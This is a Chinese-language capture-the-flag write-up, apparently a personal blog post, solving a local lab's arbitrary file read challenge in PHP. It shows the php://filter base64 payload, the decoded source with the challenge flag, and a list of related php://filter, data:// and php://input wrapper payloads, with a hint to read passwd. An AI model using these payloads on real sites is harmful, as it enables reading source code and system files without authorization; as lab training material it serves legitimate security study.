RandomFileRead-1


RandomFileRead-1

前言

这个练习主要是关于任意文件读取的漏洞的一个练习。

部署环境

这里使用的是 docker-compose 下面给出配置文件,直接保存运行即可。

配置文件

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

随后直接使用浏览器访问 localhost 即可。

思路 & 解题过程

这次就主要是先说一下这个解题思路,主要是首先观察到当参数是 ?p=hello 的时候,返回的结果是 hello world

然后看到参数的样式怀疑是文件包含或者是文件读取,尝试一下其他的,观察响应包的内容。传入其他参数的时候响应包是空的,但是当参数是 flag 的时候返回的结果就是 no no no

尝试读取

这里尝试使用伪协议对文件的内容进行读取,使用下面的语句当做参数传递:

php://filter/read=convert.base64-encode/resource=flag

这里解释一下,既然是改变参数发送了请求能够获得响应报文,那就说明这个文件是存在的,不然的话就会像是其他的参数一样是没有任何的响应的。文件的 base64 编码的内容如下:

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

└─$ echo PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9 | base64 -d
<?php
die('no no no');
//n1book{afr_1_solved}   

flag

n1book{afr_1_solved}

同理,尝试读取一下 hello 的内容也是可以的。

└─$ echo PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7 | base64 -d                        
<?php

echo "hello world!";

总结

这种题目一定要抓住关键词,本题给了hello关键字,应该立马联想到伪协议读取hello,然后再读取passwd等文件
data伪协议写入文件,php://filter用于读取源码,php://input用于执行php代码

  • file=php://filter/read=convert.base64-encode/resource=useless.php
  • text=data://text/plain,welcome to the zjctf
  • text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录